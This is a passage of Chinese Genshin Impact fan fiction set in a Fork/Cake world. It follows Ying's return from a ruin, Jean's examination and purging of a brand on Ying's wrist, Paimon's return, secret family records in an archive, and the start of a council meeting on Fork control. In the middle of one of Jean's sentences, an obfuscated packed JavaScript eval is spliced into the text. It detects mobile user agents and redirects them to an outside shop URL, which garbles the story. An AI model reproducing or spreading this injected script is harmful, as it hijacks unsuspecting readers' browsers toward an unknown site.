他感觉到荧皮肤的冰凉,感觉到她脉搏的微弱快速,还有——在她气息深处,某种新出现的、陌生的“回响”。 像钟声的余韵,很淡,但确实存在。 他眯起眼。 “你知道,”他说,声音很低,“你身上现在有它的‘味道’了吗。” 荧愣了一下,抬起手腕。 暗红的痕迹像胎记。 “这个?” “不止。”凯亚的视线扫过她全身,“是更里面的东西。它给你留下了‘印记’。” 荧心里一沉。 “会怎样?” “不知道。”凯亚松开手,后退一步,抱起胳膊,“也许没事。也许下次你再碰见地脉异常的东西,它们会把你当同类。” 他顿了顿。 “或者当食物。” 荧:“……” “不过,”凯亚话锋一转,嘴角又勾起那点惯有的笑,“至少现在,我们活下来了。” 他看向被堵死的洞口。 “而且,托那东西的福——路通了。” 荧顺着他视线看去。 之前被彻底堵死的通道口,在刚才那东西“沉入”地面时,震塌的碎石被清开了一部分。虽然还是狭窄,但足够一个人爬出去了。 凯亚走过去,试了试缝隙。 “能过。”他回头,“走吗,小可爱?还是你想留在这儿陪它睡觉。” 荧最后看了一眼石室。 地面那些暗红纹路,在元素灯的光下微微反光,像沉睡的脉搏。 她转身,走向洞口。 “走。” 下章预告 爬出遗迹时天已黑透。凯亚罕见地沉默了一路。回到庄园,琴看到荧手腕上的印记和凯亚破掉的披风,什么都没问,只是眼神沉了下去。当夜,庄园外的监视者翻倍了。而荧在睡梦中,第一次听见了“门”的呼唤——不是来自地底,是来自星空。那声音说:醒来,同胞,该回家了。 15. 回城 爬出裂缝时,天已经黑透了。 旷野的风刮过来,带着草叶和远处炊烟的味道,冷得荧打了个哆嗦。她站在碎石坡上,回头看了一眼那个黑黢黢的地隙入口——像大地的一道伤口,此刻安静得仿佛什么都没有发生过。 除了她手腕上那圈暗红。 还有脑子里那些还没完全散去的、混乱的回响。 凯亚比她晚几步爬出来。他拍了拍披风上的灰——那披风已经破得不像样了,好几处撕开的口子,下摆还沾着暗红色的粘液。 他没急着走,而是靠在旁边一块风化的巨石上,从怀里摸出个小铁酒壶,拧开,灌了一口。 “要来点吗。”他递过来,“驱驱寒。” 荧摇头。 她不喝酒,尤其是现在——胃里还翻腾着血池的甜腥和那东西的混沌气息,再混上酒精,她怕自己当场吐出来。 凯亚也没勉强,收回酒壶,又喝了一口。然后他抬起头,看着蒙德城的方向。远处城墙的轮廓在夜色里模糊,只有零星几点灯火。 “今天的事,”他开口,声音比平时低些,“写报告的时候,有些细节可以省略。” 荧看向他。 “比如?” “比如你和那东西‘聊天’的部分。”凯亚转过头,独眼在夜色里泛着微光,“还有你手腕上这个……印记。就说是遗迹里的古老诅咒,不小心沾上的。骑士团有专门处理这类事情的档案室,走个流程就行。” 他说得很自然,像在布置最普通的任务。 但荧听出了别的意思。 “你不想让琴团长知道。”她说。 凯亚笑了。 “小可爱,有些事知道得太多,对谁都没好处。”他收起酒壶,站直身体,“尤其是对你那位认真负责的代理团长大人。她会担心,会过度保护,然后把你锁在庄园里再训上半年——你觉得那样更好?” 荧没说话。 她知道琴会那么做。琴会把一切风险都计算进去,然后把最“安全”的方案强加给她——哪怕那个方案意味着停滞不前。 “但印记的事,”她抬起手腕,“瞒得住吗?” 凯亚走过来,抓住她的手腕。动作很快,带着他惯有的那种不容拒绝的力道。 荧僵了一下。 皮肤接触的瞬间,那股冰冽的玫瑰酒香又缠上来。但这次,凯亚的气息里混了点别的——一丝极淡的、像是薄荷又像是某种草药的味道,从他指尖渗出来,落在她的皮肤上。 暗红色的痕迹碰到那股气息,微微发烫。 然后,颜色淡了一点。 “临时处理。”凯亚松开手,“能瞒几天。这几天里,你自己想办法——去图书馆查资料,或者去找丽莎。她喜欢研究稀奇古怪的东西,说不定有办法。” 他顿了顿。 “别直接问。旁敲侧击。” 荧看着手腕。痕迹还在,但颜色确实浅了些,像普通的淤青。凯亚刚才用的……是什么? “你随身带着能掩盖‘印记’的东西?”她问。 凯亚已经转身往蒙德城的方向走了。 “骑士团的小道具罢了。”他背对着她挥挥手,“走吧,再磨蹭天就亮了。” 荧跟上。 两人一前一后走在夜色下的旷野。谁都没再说话。只有风声,草叶摩擦声,还有远处偶尔传来的、不知名夜鸟的啼叫。 荧的脑子很乱。 遗迹里的一切还在回放,血池,那个疯了的Fork看守,还有最后那团混沌的、想回家的东西。那些灌进她意识里的碎片信息,像扎进肉里的刺,稍一回想就隐隐作痛。 地脉错位,外来者,门,母树,被剪断的路…… 还有那句“你身上有门的味道”。 她抬起手,看着自己的掌心。普通的皮肤,普通的纹路。但在那东西的感知里,她是个“有门的味道”的异常存在。 和哥哥有关吗? 和他们的穿越有关吗? 不知道。 “到了。” 凯亚的声音打断她的思绪。 “我们直接回城吗?琴团长那边......” 已经走到蒙德城侧门附近了。守门的骑士看见凯亚,抬手行礼。 “凯亚队长,这么晚才回来?” “有点小麻烦,处理了一下。”凯亚笑笑,指了指身后的荧,“顺便捡了个迷路的小家伙。” 守门骑士看向荧,眼神里闪过一丝不易察觉的戒备,但很快掩去了。 “荣誉骑士小姐,琴团长大人吩咐过,您回来之后直接去骑士团总部报到。” 果然。 琴在等。 荧看了凯亚一眼。凯亚冲她眨眨眼,那意思很明显——按我们商量好的说。 “我知道了。”荧说。 进城,穿过安静的街道。路灯把两人的影子拉长又缩短。偶尔有晚归的市民匆匆走过,看见凯亚会点头致意,看见荧时则会微微侧身,加快脚步。 那种细微的躲避,荧已经习惯了。 骑士团总部还亮着灯。 琴的办公室在二楼。凯亚在楼梯口停下。 “我就不过去了。”他说,从怀里摸出那份任务卷宗,“报告我去写。你……小心说话。” 荧点头,转身上楼。 走到办公室门口,她深吸一口气,敲了门。 “进来。” 琴的声音从里面传来,比平时更疲惫。 荧推门进去。 琴坐在办公桌后,面前堆着高高的文件,手边放着一杯已经凉透的茶。她没穿外套,只穿着白色的衬衫,袖口卷到手肘,露出小臂上几道浅淡的旧伤疤。 看见荧的瞬间,琴的眼神动了一下。 她站起身,绕过桌子走过来。脚步很快,但很稳。 “受伤了?”她问,视线扫过荧全身。 “擦伤。”荧说,抬起手臂——袖口裂开的地方已经止血了,但血迹还在,“不严重。” 琴没说话。 她伸手,指尖轻轻碰了碰荧手臂上的伤口边缘。动作很轻,但荧还是感觉到了——一丝清凉的气息,从琴的指尖渗出来,落在皮肤上。 不是治疗,是探查。 荧屏住呼吸。 琴的气息比凯亚的更冷,更清晰,像冬天的第一场雪,干净凛冽。那股气息在伤口处停留了几秒,然后缓缓收回。 琴的眉头皱了起来。 “有陌生的元素残留。”她看向荧,“不是魔物的。是什么?” 来了。 荧按照和凯亚商量好的说辞。 “遗迹深处有个血池,可能是古代实验残留。我不小心碰到了,沾上了一点。”她抬起手腕,露出那圈淡了的暗红痕迹,“这个也是……像是诅咒之类的。” 琴抓住她的手腕。 力道比凯亚重。 她盯着那圈痕迹,看了很久。指尖再次溢出气息,这次更细密,像无数根看不见的针,探进皮肤深处。 荧咬住牙。 疼。不是皮肉疼,是更深的地方——印记所在的位置,在琴的气息刺激下,开始发烫,跳动,像有活物在皮肤底下苏醒。 琴的呼吸停了一瞬。 她猛地松开手,后退一步。 “这不是普通的诅咒。”她说,声音紧绷,“这是……‘烙印’。” 荧心里一沉。 “什么意思?” 琴转身走回办公桌,从抽屉里拿出一个扁平的金属盒子。打开,里面是几卷泛黄的羊皮纸。她快速翻找,抽出一张,摊开在桌上。 纸上画着一个复杂的、像是多重圆环嵌套的图案。图案中心,有一个暗红色的、类似胎记的标记。 和荧手腕上的痕迹,有七八分相似。 “古恩希尔德家族记载,三百年前,蒙德地脉曾发生一次大规模异常。”琴的手指按在羊皮纸上,指尖微微用力,“当时的调查队在某个遗迹深处,遭遇了‘地脉的活体投影’——一种由纯粹的地脉能量和执念凝聚的混沌存在。” 她抬起眼,看向荧。 “接触者身上会留下‘烙印’。这种烙印会吸引其他地脉异常生物,也会……逐渐侵蚀接触者的神志。” 荧的喉咙发干。 “侵蚀?” “记忆混乱,感知扭曲,最终可能被烙印本身的‘执念’同化。”琴合上羊皮纸,“记载里,三个接触者,一个发疯,一个自杀,最后一个……消失了。” 办公室里安静得可怕。 窗外的风声变得清晰起来。 “我要立刻给你做全面检查。”琴说,语气不容置疑,“然后,在找到清除方法之前,你不能再离开庄园。” 果然。 和凯亚预料的一模一样。 荧深吸一口气。 “琴团长。”她说,“那个遗迹里的东西……它没有攻击我。” 琴愣了一下。 “它在求救。”荧继续说,斟酌着用词,“它被困在那里了,想回家。我只是……听到了它的声音。” 琴的表情变了。 从严肃,变成了一种更复杂的、混合着震惊和某种荧看不懂的情绪。 “你‘听到’了?”她重复,“不是看见,是听到?” “算是。”荧说,“一些破碎的信息。地脉错位,外来者,门……还有‘母树’。” 最后一个词出口的瞬间,琴的脸色彻底变了。 她猛地站起来,身后的椅子撞在书架上,发出哐当一声响。 “你再说一遍?”她的声音压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122942|195980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得很低,带着颤音,“它说了……母树?” 荧点头。 琴沉默了很久。 她走到窗边,背对着荧,看着外面漆黑的夜空。肩膀绷得很紧,像在承受某种巨大的压力。 “这件事,”她终于开口,声音恢复了平静,但底下压着东西,“不要告诉任何人。凯亚也不行。” “但凯亚队长他——” “他不知道‘母树’。”琴打断她,转过身来,“这件事,在古恩希尔德家族内部,也是最高机密。只有历代家主和指定的继承人才能接触。” 她走回桌边,手指按在那卷羊皮纸上。 “你的检查要做。庄园你也要暂时待着。但原因不是囚禁,是保护。”她看着荧,眼神锐利,“在你搞清楚这个‘烙印’到底是什么、会不会有后续影响之前,我不允许你暴露在更多危险中。” “那如果……”荧顿了顿,“如果我想查资料呢?关于地脉,外来者,还有……母树。” 琴盯着她。 许久,她缓缓开口。 “可以。” 她打开另一个上锁的抽屉,取出一枚小小的、银质的钥匙,放在桌上。 “家族藏书室,地下二层,第七个书架最顶层,有带锁的盒子。钥匙只有这一把。”她说,“你可以去看。但记住——里面的内容,一个字都不能泄露。包括对芭芭拉,对丽莎,对任何人。” 荧拿起钥匙。 冰凉,沉重。 “为什么相信我?”她问。 琴没有立刻回答。 她看着荧,看着这个来自异乡的、身上带着无数谜团的少女。看着她手臂上的伤,手腕上的烙印,还有那双眼睛里的——不是恐惧,不是茫然,而是一种近乎固执的清醒。 “因为你没有疯。”琴最后说,声音很轻,“那个记载里,所有‘听到’地脉声音的人,都在三天内出现了精神异常。而你……” 她停顿了一下。 “你还在思考怎么查资料。” 荧不知道该说什么。 “回去吧。”琴坐回椅子,重新拿起笔,“明天开始检查。钥匙你收好,检查结束后,如果你状态稳定,我会给你时间去藏书室。” 荧点头,转身走向门口。 手碰到门把时,琴的声音又从身后传来。 “荧。” 她回头。 琴没有看她,低头看着文件,但笔尖停在纸上,没有动。 “小心凯亚。”她说,声音平静得像在说今天天气,“他不知道全部真相,但他……很擅长从碎片里拼出完整的图案。别给他太多碎片。” 荧握紧了手里的钥匙。 “我知道了。” 她拉开门,走出去。 走廊里空荡荡的,只有墙壁上的元素灯发出稳定的微光。下楼,走出骑士团总部,夜风一下子灌过来。 凯亚不在门口。 他大概已经回去写报告了。 荧独自走在回庄园的路上。街道比刚才更安静了,大部分店铺都关了门,只有猫尾酒馆还亮着灯,隐约传来歌声和笑声。 她抬起手腕,看着那圈淡了的痕迹。 烙印。 吸引地脉异常生物,侵蚀神志。 还有“母树”——那是什么?和哥哥有关吗?和他们跨越世界有关吗? 问题一个接一个,没有答案。 但至少,她拿到了钥匙。 能接触到古恩希尔德家族最深秘密的钥匙。 走到庄园门口时,她停下脚步。 庄园里还亮着灯。琴应该还没回来,但女仆长可能还在等。 她深吸一口气,推门进去。 客厅里没有人。壁炉里的火已经灭了,只剩一点暗红的余烬。桌上放着一盘用罩子盖好的晚餐,旁边有张纸条—— “热一下再吃。明天早上八点,训练场见。 ——琴” 字迹工整,一丝不苟。 荧拿起盘子,走去厨房。加热食物的间隙,她靠在料理台边,看着窗外。 夜色浓稠,星空虚假。 但在那片虚假的星空后面,在提瓦特的地脉深处,有东西在呼唤。 呼唤着“回家”。 她摸了摸手腕上的烙印。 它也在发烫,像在回应。 下章预告 琴的全面检查比想象中更彻底。那些探入骨髓的探查气息,触动了荧体内刚刚苏醒的“外来者”共鸣。而庄园之外,凯亚的报告已经写好——但他私下扣下了最关键的一页。派蒙终于从教会归来,见到荧的第一句话是:“你身上有奇怪的味道!”同时,骑士团内部关于“特殊Fork处置方案”的会议,即将召开。琴、凯亚、迪卢克都将出席,而荧的名字,就在议程的第一项。 16. 身体检查 检查从清晨开始。 琴把荧带到了教堂西侧一栋单独的小楼。这里平时锁着,窗户都用厚重的绒布帘遮着。推门进去,空气里有股陈年草药和消毒水混合的味道。 房间里很空。 中央摆着一张铺着白色亚麻布的窄床,床边立着几个木架,上面放着各种仪器——玻璃罐,铜质导管,还有几个荧叫不出名字的、带着复杂刻度的金属装置。 “躺下。” 琴指了指那张床。她已经换上了简单的白色束腰上衣和深色长裤,头发扎成利落的低马尾,手上戴着一副很薄的皮手套。 荧依言躺下。亚麻布粗糙,贴着后颈有点痒。她盯着天花板——上面绘制着繁复的星图,星辰的位置和她记忆里提瓦特的星空不太一样。 “整个过程不会疼。”琴的声音从侧面传来,她正在调整一个玻璃罐的阀门,“但会有强烈的异物感。如果你感到任何无法忍受的眩晕或恶心,立刻告诉我。” “好。” 琴走过来,站在床边。她摘下一只手套,指尖悬在荧额头正上方。 “闭上眼睛。放松呼吸。” 荧闭上眼。 她能感觉到琴的气息开始变化。不再是平时那种收敛的状态,而是缓缓地、有控制地释放出来。冰冷的风雪感弥漫开来,但比以往更细腻,更像无数根极细的冰丝,从皮肤表面渗入。 然后,探了进去。 异物感来得很快。 那些冰丝般的意识流钻入她的四肢百骸,沿着血管,贴着骨骼,探查每一寸肌理。感觉很奇怪——不疼,但能清晰地感觉到“被翻找”。像有人用冰凉的手指,一寸寸按过她的内脏。 荧控制着呼吸。 她能“看”到——内视的视角里,那些银白色的、属于琴的气息丝线,在她身体内部缓慢游走。它们避开了胃里那团暗影,也避开了更深处的那个刚刚苏醒的共鸣点,像是在有意识地绕开危险区域。 检查得很细。 时间过得很慢。 荧数着自己的心跳,数到第二百七十三下时,琴的气息丝线,终于触碰到了她手腕上的烙印。 瞬间的变化。 那个原本只是暗红色、类似淤青的痕迹,在琴的气息接触到的刹那,突然活了过来。 颜色加深,变成近乎黑红。皮肤下的纹路开始蠕动,像有无数条极细的虫子在底下钻。更糟糕的是——荧感觉到,自己身体深处那个“外来者”的共鸣点,被唤醒了。 共鸣点震颤着,发出无声的嗡鸣。 一股混沌的、带着地底深处矿物和腐朽气息的波动,从共鸣点涌出,顺着血管冲向手腕。 与琴的冰丝气息撞在一起。 “唔——” 荧闷哼一声。手腕像是被烙铁烫到,剧烈的灼痛炸开。同时,脑子里又闪过破碎的画面:撕裂的树影,下坠的星空,还有无尽的、黑暗的甬道。 琴的气息猛地收回。 那些冰丝瞬间抽离身体,速度快得让荧感到一阵空虚的晕眩。她睁开眼,看见琴后退了两步,右手微微颤抖,指尖凝结着一层薄薄的白霜——但霜里渗着暗红色的、像是锈迹的杂质。 “它……在排斥我的探查。”琴的声音有些紧绷,她甩了甩手,白霜和锈迹脱落,消散在空中,“而且试图反向侵蚀。” 荧坐起身,看向手腕。 烙印的颜色正在慢慢变回暗红,蠕动也停止了。但皮肤底下还残留着灼热的痛感。 “这意味着什么?”她问。 “意味着这个烙印是‘活’的。”琴走到旁边的木架,拿起一个本子快速记录,“它有自我意识,会保护自己,也会攻击试图探查它的外来力量。记载里没有提到这个特性。” 她停下笔,看向荧。 “你昨天说,那东西在求救。”琴的语气变得严肃,“但如果烙印是它留下的……这更像是一种‘标记’。标记猎物,或者标记……同类。” 荧的背脊发凉。 “它想把我变成和它一样的东西?” “不确定。”琴合上本子,“但接下来几天,你必须每天接受一次气息净化。我会用古恩希尔德家族传承的‘净蚀之息’,尝试压制烙印的活性,防止它进一步侵蚀你。” 她顿了顿。 “这个过程,会比刚才的检查更难受。” 荧没说话。 她低头看着手腕。那个烙印安静地伏在那里,像个沉睡的毒虫。 “开始吧。”她说。 第二次的气息侵入,比检查时强烈得多。 琴不再小心翼翼地探查,而是将纯净冰冷的气息直接灌注进荧的体内。目标明确——涌向手腕的烙印。 烙印再次苏醒。 黑红的颜色蔓延,皮肤下的蠕动变得激烈。混沌的波动从共鸣点涌出,与琴的净蚀之息正面冲撞。 荧咬紧了牙。 这次不是灼痛,是两种力量在她体内厮杀的撕裂感。像有两把冰冷的刀,在她骨头缝里来回刮擦。冷汗瞬间浸透了衣服,她死死抓住身下的亚麻布,布料被攥得咯吱作响。 琴的额头也渗出了细汗。 她站在床边,右手按在荧的手腕上,气息持续输出。那双湖蓝色的眼睛里没有任何动摇,只有专注到极致的冷冽。 时间一秒一秒地爬。 每一秒都长得像一整天。 就在荧快要撑不住的时候,烙印的抵抗忽然减弱了。 黑红的颜色褪去一些,蠕动也变缓了。琴趁机加强气息,银白色的光芒裹住手腕,一点点渗进皮肤。 烙印发出最后一下剧烈的抽搐—— 然后,彻底安静下来。 颜色变淡了,从暗红变成浅褐色,像一块普通的旧伤疤。皮肤下的异物感也消失了。 琴收回手,踉跄了一下,扶住床沿才站稳。她喘着气,脸色比荧还要苍白。 “今天……先到这里。”她的声音有些虚浮,“明天继续。” 荧躺在床上,浑身脱力。她能感觉到烙印还在,但像被套上了枷锁,暂时蛰伏了。 “谢谢。”她哑声说。 琴看了她一眼,没说什么,转身去收拾仪器。她的背影依然挺直,但脚步有些发飘。 荧撑着坐起来,慢慢下床。腿还是软的,她扶着墙壁站稳,看向窗外。 天已经大亮了。 晨光透过厚重的绒布帘缝隙渗进来,在地板上切出几道细细的光带。空气里的草药味散了些,但消毒水的味道还在。 “回去休息。”琴背对着她说,“下午……如果状态好,你可以去藏书室。” 荧点头,慢慢走出小楼。 外面的阳光有点刺眼。她眯起眼睛,适应了一会儿,才朝着主宅走去。 走到一半,忽然听见天空传来扑棱棱的声音。 抬头。 一个小小的白色身影,正从蒙德城的方向飞来,在晨光里划出一道晃眼的轨迹。 “荧——!” 派蒙的声音,带着哭腔,远远地就砸了下来。 荧停下脚步。 派蒙像颗小炮弹一样冲过来,一头撞进她怀里。冲击力让荧后退了两步,差点摔倒。 “呜呜呜荧!我想死你了!”派蒙把脸埋在她胸口,声音闷闷的,“琴团长好坏!她都不让我来看你!说你在特训不能打扰!特训什么呀要训这么久!” 荧低头,看着怀里这个哭得稀里哗啦的小家伙。 派蒙还是老样子。白色的小裙子有点皱,头上的王冠歪了,脸颊上还沾着不知道哪里蹭到的果酱。 但她回来了。 荧心里某个一直绷着的地方,忽然松了一点点。 “我没事。”她说,伸手拍了拍派蒙的背,“就是训练而已。” “骗人!”派蒙抬起头,眼睛红红的,“你脸色好差!身上还有……还有奇怪的味道!” 荧心里一紧。 “什么味道?” “说不清楚……”派蒙皱着鼻子,在她身上嗅来嗅去,“像……像地下很深的地方,那种石头和烂树叶混在一起的味道。还有一点点……血腥味?” 她抓住荧的手臂,看到袖口裂开的地方和底下已经结痂的伤口,眼睛又红了。 “你还受伤了!” “小伤。”荧把手抽回来,“训练时不小心划的。” “什么训练会划成这样啊!”派蒙飞起来,绕着她转圈,仔细检查,“还有这里——手腕上这个是什么?淤青吗?疼不疼?” 她伸出小手,想碰那个烙印。 荧下意识地缩回手。 “没事。”她说,“训练时磕到的。” 派蒙停在空中,看着她,小脸上写满了不相信。但她没再追问,只是飘下来,抱住荧的脖子。 “不管了。”她闷闷地说,“反正我回来了。以后你去哪里我都跟着,再也不要分开了。” 荧愣了一下。 然后,很轻地,拍了拍派蒙的脑袋。 “嗯。” 两人慢慢走回主宅。派蒙一路上叽叽喳喳,说她在教会帮忙的事,说芭芭拉姐姐多温柔,说有个修女做的苹果派特别好吃,还说她偷偷藏了几块想带给荧。 荧听着,没怎么插话。 但心里那股一直沉甸甸压着的东西,因为这个小家伙的声音,稍微散开了一点。 回到房间,派蒙立刻钻进自己的小篮子——那是琴之前给她准备的,铺着软垫,放在荧的床头。 “啊!我的小毯子!”她抱着一条绣着风车菊的小绒毯滚来滚去,“香香的!” 荧坐在床边,看着她闹。 阳光从窗户照进来,落在木地板上,暖洋洋的。窗外有鸟叫,远处隐约传来庄园里女仆打扫的声音。 一切看起来都很平静。 除了手腕上那个淡了的烙印,还在隐隐发烫。 “对了荧。”派蒙忽然从篮子里探出头,“我在教会看见凯亚队长了。” 荧抬眼。 “他去教会干什么?” “不知道。他神神秘秘的,和主教大人在祈祷室里面说了好久的话。”派蒙歪着头,“出来的时候脸色不太好……啊,不过他看见我,还是笑眯眯地给了我一颗糖。” 她从口袋里摸出一颗包装精美的牛奶糖,炫耀似的举起来。 “看!他说是谢礼,谢谢我这段时间在教会帮忙。虽然我觉得他肯定有别的事……” 派蒙撕开糖纸,把糖塞进嘴里,脸颊鼓起一块。 “不过糖是真的好吃。” 荧没说话。 凯亚去找主教。在遗迹事件发生的第二天。 他在调查什么?还是想确认什么? 又或者——他想通过教会,验证某些关于“烙印”或“地脉异常”的记载? 脑子里的线索乱成一团。遗迹,烙印,母树,凯亚的调查,琴的净化,还有下午要去查看的家族藏书室…… “荧?”派蒙飞过来,小手在她眼前晃了晃,“你发什么呆呀?饿不饿?我们去厨房找点吃的吧!我听说今天早餐有蜂蜜松饼!” 荧回过神,看着派蒙亮晶晶的眼睛。 “好。” 两人下楼去厨房。女仆长看见派蒙,笑着多给了两份松饼,还额外加了一小罐树莓酱。 派蒙吃得满脸都是果酱,荧慢吞吞地嚼着松饼,没什么胃口。 吃到一半,庄园前厅传来敲门声。 女仆长去应门,很快回来,手里拿着一封盖着骑士团火漆印的信函。 “荧小姐,给您的。” 荧接过,拆开。 是琴的字迹。 “下午三点,骑士团总部三楼会议室,召开关于‘特殊Fork处置及城防调整’的内部会议。你作为相关人员需要列席。着装正式。派蒙可随行,但需保持安静。” 下面还有一行小字。 “会议前,若状态允许,可先去藏书室。钥匙随身带好。” 荧折起信纸。 派蒙凑过来看。 “会议?你要去开会?”她眨眨眼,“那我是不是也能去骑士团里面看看了?我还没进去过总部里面呢!” “嗯。”荧把剩下的松饼塞进嘴里,“但你要安静。” “保证!”派蒙举起小手,又小声嘀咕,“不过‘特殊Fork’……是在说你吗?处置……听起来好严肃啊。” 荧没回答。 她看向窗外。阳光正好,但心里那片阴影,又慢慢聚拢回来。 处置。 ‘这个词听起来,不像是什么好事。’ 下午两点,荧站在古恩希尔德家族藏书室门前。 地下二层很安静。厚重的橡木门紧闭,门板上雕刻着家族的纹章——盾牌、剑、和环绕的橄榄枝。荧拿出那把银质钥匙,插进锁孔。 转动。 咔哒一声轻响。 门开了。 里面比想象中大。高高的书架从地板顶到天花板,上面塞满了皮面装订的书籍、卷起来的羊皮卷、还有各种大小不一的木盒。空气里有股陈年纸张和皮革的味道,混着淡淡的防虫草药香。 元素灯在墙壁上依次亮起,发出柔和的光。 荧走进去,脚步声在空旷的空间里回荡。她按照琴说的,找到第七个书架,仰头看向最顶层。 那里确实有一个带锁的木盒。 深褐色,没有花纹,看起来很旧。她踮起脚,够不到。四下看了看,发现墙边有个可移动的木梯。 把梯子推过来,爬上去。 最顶层积了薄薄一层灰。木盒就放在那里,旁边还堆着几本看起来更古旧的书。荧拿出钥匙——和开藏书室门的是同一把——插进木盒的锁孔。 打开。 里面没有书。 只有三样东西。 一卷用黑色丝带捆扎的羊皮纸。 一枚暗金色的、造型奇特的徽章——图案是扭曲的树根,环绕着一只闭着的眼睛。 还有一小块……像是琥珀的东西。拳头大小,半透明,里面封着一片漆黑的、像是羽毛又像是叶子的碎片。 荧先拿起羊皮纸,解开丝带。 纸很脆,边缘已经破损。上面的字迹是一种古老的花体,但勉强能认。 【地脉纪年第七轮转,星轨偏移之始。‘门’之波动首次于风龙废墟附近被感知。时任家主法尔加·古恩希尔德率队探查,于废墟深处发现‘裂隙’。】 【裂隙非实体,乃空间之褶皱。内有异光流转,伴有低语。接触者皆报告‘听见呼唤’——呼唤归家,呼唤同胞,呼唤‘母树’。】 【法尔加下令封锁消息,仅在家主传承中记录。后续百年间,‘门’之波动周期性出现,地点不定。每次出现,必伴随地脉异常及魔物躁动。】 【学者推测,‘门’乃世界壁垒之薄弱点。‘母树’可能为异界之象征,或某种超越认知之存在。】 【警告:接触‘门’之波动者,皆有后遗。轻者梦境侵扰,重者意识渐与‘呼唤’同调,最终迷失。所有相关记录,封存于此,不得外泄。】 羊皮纸到这里就结束了。 下面没有签名,只有一个小小的、用深红色墨水画的符号——和木盒里那枚徽章上的扭曲树根图案一模一样。 荧放下羊皮纸,拿起那枚徽章。 金属冰凉。树根的纹路在指尖摩擦,那只闭着的眼睛浮雕,摸起来有种诡异的立体感,像真的眼皮底下盖着眼球。 最后,她看向那块琥珀。 半透明的材质里,那片漆黑的碎片静静地悬浮着。对着光看,能看见碎片表面有极其细微的、像是血管又像是裂纹的纹路。 她伸出手,指尖轻轻碰了碰琥珀表面。 瞬间—— 共鸣点苏醒了。 比之前任何一次都更剧烈。一股强烈的、近乎疼痛的震颤从身体深处炸开,顺着脊椎冲上大脑。 琥珀里的黑色碎片,同时发出了微弱的光。 暗红色的,像凝固的血。 荧猛地缩回手。 共鸣点慢慢平复,琥珀里的光也暗了下去。 但她能感觉到——就在刚才触碰的刹那,有什么东西,通过共鸣点,传递过来了。 一个画面。 很短,很模糊。 巨大的、看不到顶的树影,枝叶伸展进星空。树下,无数身影跪拜,伸出手,像是在祈祷,又像是在……承接坠落的东西。 然后画面碎裂。 只剩下一个词,在意识里回荡。 ……回家…… 荧盯着琥珀。 这东西……和她的共鸣点有关系。和“母树”有关系。 也和“回家”有关系。 她把三样东西放回木盒,盖上盖子,锁好。爬下梯子,把梯子推回墙边。 站在书架之间,她深吸一口气。 羊皮纸上的信息,印证了那东西的话。门,母树,呼唤,还有接触者的后遗症——她现在手腕上的烙印,大概就是后遗症之一。 但问题更多了。 ‘门到底是什么?为什么会出现?母树是什么?那些跪拜的身影是谁?’ 还有最关键的一— 为什么她会对这些有反应? 为什么她的共鸣点,会和琥珀里的碎片共鸣? ‘哥哥……知道这些吗?’ “荧——!” 派蒙的声音从藏书室门口传来,带着点焦急。 “你在这里吗?时间快到了!我们要去开会了!” 荧回过神来。 她最后看了一眼那个书架顶层的木盒,转身走出藏书室。锁上门,钥匙收好。 派蒙在门口等她,小脸上写满了紧张。 “你怎么进去那么久呀?我都快急死了!”她飞过来,拉住荧的袖子,“快点快点,迟到的话琴团长会生气的!” “知道了。” 两人离开庄园,朝着蒙德城走去。 下午的街道比早上热闹。商贩叫卖,行人往来,风车缓缓转动。派蒙飞在荧身边,好奇地东张西望,时不时指指这个问问那个。 但荧没怎么听进去。 她脑子里还在回放羊皮纸上的内容,还有触碰琥珀时看到的画面。 手腕上的烙印,在袖口底下隐隐发烫。 骑士团总部到了。 守门的骑士看见她们,点了点头,侧身让开。派蒙紧张地抓着荧的衣角,小声说:“里面好大呀……” 上到三楼。 会议室的门关着,但里面已经传来了说话声。不止一个人。 荧抬手,敲了敲门。 说话声停了。 片刻,琴的声音传来。 “进来。” 荧推开门。 会议室很大,长条形的橡木桌边已经坐了好几个人。 琴坐在主位,穿着正式的团长制服,表情严肃。她左手边是凯亚——他也换了全套制服,披风整齐地 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“此外,清泉镇以北新发现一处古代遗迹,内部有非法Cake血液实验残留。现场抓获一名神志不清的Fork看守,目前已移交教会收容治疗。” 灰发主教点了点头,在本子上记录了什么。 “民众情绪如何。”琴问。 另一个穿着文官制服的人回答:“恐慌情绪在蔓延。尤其是上周的集市事件后,要求加强Fork管制的请愿书增加了三倍。教会每天都会接到大量咨询,关于‘如何识别身边的Fork’以及‘如何自保’。” 会议室里的气氛沉了沉。 “所以,”主教开口,声音温和但有力,“我们今天聚集在这里,是为了讨论一个迫在眉睫的问题——如何应对日益增长的Fork威胁,以及如何安抚民众。” 他看向琴。 “代理团长大人,我理解您一直倡导的‘共存’理念。但在现实压力下,我们是否应该考虑……更严格的管控措施?” 琴没有立刻回答。 她看向荧。 “荧,作为目前骑士团直接监管的、正在进行可控性训练的Fork,你有什么想说的吗。” 突然被点名,荧愣了一下。 所有人的视线再次集中到她身上。 那些目光里有审视,有好奇,有戒备,还有不加掩饰的排斥。 荧坐直身体。 “我没有失控过。”她说,声音在安静的会议室里很清楚,“以后也不会。” 主教微微笑了笑。 “孩子,愿望是美好的。但Fork的本能,不是靠意志就能完全压制的东西。”他看向琴,“我建议,对所有在册Fork实行宵禁和定位监管。同时,加大教会抑制剂的供应,强制定期服用。” 凯亚挑了挑眉。 “主教的建议听起来很周全。”他懒洋洋地说,“不过费用呢?抑制剂可不便宜。还有执行人手——骑士团现在的人手,连日常巡逻都快顾不过来了。” “费用可以由教会和莱艮芬德家共同承担。”主教说,“至于人手……或许可以组建专门的‘监管小队’。” “监管小队?”凯亚笑了,“听起来像是要把Fork当犯人看着。” “是为了所有人的安全。”主教语气不变,“包括Fork自己。失控伤人的Fork,事后也会陷入巨大的痛苦和自责,不是吗?” 会议陷入了僵持。 琴一直没说话。她看着桌上的文件,手指在纸面上轻轻敲着。 荧能感觉到,会议室里的暗流。 